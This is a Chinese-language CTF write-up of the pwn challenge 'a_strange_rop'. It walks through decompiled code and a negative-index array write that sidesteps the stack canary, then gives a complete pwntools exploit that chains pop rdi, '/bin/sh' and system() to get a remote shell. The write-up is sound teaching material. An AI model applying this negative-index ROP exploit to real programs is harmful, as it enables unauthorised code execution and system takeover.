题目来自2025XSWCTF决赛的pwn题: a_atrange_rop
赛后才做出来
我也真是无敌了…
题目为64位动态链接elf文件
保护为NX和canary
既然题目叫a_stranre_rop
我们先看看有没有gadget
1
| ROPgadget --binary ./a_strange_rop | grep "pop rdi"
|
找到了pop rdi; ret;这样的一个gadget
先观察一下题目逻辑
1 2 3 4 5 6 7 8 9 10 11
| undefined8 main(EVP_PKEY_CTX *param_1) { int iVar1; init(param_1); iVar1 = game(); if (iVar1 == 1) { win(); } return 0; }
|
init为初始化函数,无实际意义,忽略
我们先来看一下win函数
1 2 3 4 5 6 7
| void win(void)
{ puts("good!"); system("ababalabalabalawuwuwuuwyyyyy"); return; }
|
可以看到即使调用了win也不会真的win,但是它为我们提供了call system这样一个系统调用的函数
配合我们上面找到的gadget
似乎很容易就能写出system(“/bin/sh”)
来看看主逻辑game部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| undefined8 game(void)
{ int iVar1; int iVar2; time_t tVar3; undefined8 uVar4; long in_FS_OFFSET; int local_78; uint local_74; long local_68 [11]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); id = 0; puts(&DAT_0040202b); tVar3 = time((time_t *)0x0); srand((uint)tVar3); for (local_78 = 0; local_78 < 10; local_78 = local_78 + 1) { iVar1 = FUN_00401160(); iVar2 = FUN_00401160(); printf(&DAT_00402041,(ulong)id,(ulong)(uint)(iVar1 % 0x14),(ulong)(uint)(iVar2 % 0x14)); (&answer)[(int)id] = (long)(iVar2 % 0x14 + iVar1 % 0x14); id = id + 1; } puts(&DAT_00402058); for (; t < 0xb; t = t + 1) { printf(&DAT_00402077); __isoc99_scanf(&DAT_00402085,&id); if (9 < (int)id) { puts(&DAT_00402088); exit(0x1bf52); } printf(&DAT_004020a8); __isoc99_scanf(&DAT_004020b0,local_68 + (int)id); } puts(&DAT_004020b8); local_74 = 0; do { if (9 < (int)local_74) { uVar4 = 1; LAB_00401548: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return uVar4; } if ((&answer)[(int)local_74] != local_68[(int)local_74]) { printf(&DAT_004020d8,(ulong)local_74); uVar4 = 0; goto LAB_00401548; } local_74 = local_74 + 1; } while( true ); }
|
运行起来是这么个样子

略微有点长,但是并不难理解,local_10为随机生成的canary值,因此不能直接溢出覆盖返回地址,否则会触发canary检测程序直接退出
题目要求回答一些小学数学题目,全部回答正确就跳转到win函数,但是我们已经看到win函数并没有实际作用,因此思路依旧是覆盖返回地址为我们构造的rop链
先来分析一下栈布局
定义了一个数组local_68[11]
可以分析得出

题目设置了一个小check机制,明明有0到9十道题目,但是数组设置了0到10十一个题目编号,而输入的题目编号大于9的时候程序自动退出,并大声斥责我们你想干什么!
我的第一个思路是设置题目编号为8,即local_68[9]所在的位置,向上填充至覆盖rip,执行rop链
但是这个canary是我永远越不过的坎…
思来想去,我突然注意到,题目编号大于9时会自动退出,但是题目却不检查负数编号!
因此我们可以将题目设置为负数通过负索引去写前面的地址!
用gdb看一看怎么个事儿
我在第一次输入后打上了断点,输入编号-1并输入答案666,local_68在rbp下0x60的位置,我们看看更下面的情况

可以看到,正如我们分析的那般,-1索引写的666代表的00029a写在了local_68下方的地址,再认真一看,前方的0x004014bc不正是另一个函数的返回地址吗!
我们只需要将索引设置为-3便可以覆盖另一个函数的返回地址来执行我们的rop链
这个函数用canary将我们拦住,十分安全,可是,另一个函数却已经悄然被我们所攻克…
题目也是十分贴心,/bin/sh字符串都帮我们准备好了
接下来便很简单了
exp也是十分优雅
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
p = remote('host',port)
bin_sh = str(4210808) call_system = str(4199136) pop_rdi_ret = str(4199153)
def send_pair(idx, val): p.recvuntil('题目编号:') p.send(f"{idx}\n".encode()) p.recvuntil('结果:') p.send(f"{val}\n".encode())
send_pair(-2, bin_sh) send_pair(-1, call_system) send_pair(-3, pop_rdi_ret)
p.interactive()
|
最后也是成功地拿到shell
至此,终于理解题目为什么叫:a_strange_rop!
2026.2.11
ps:
经典负索引
hh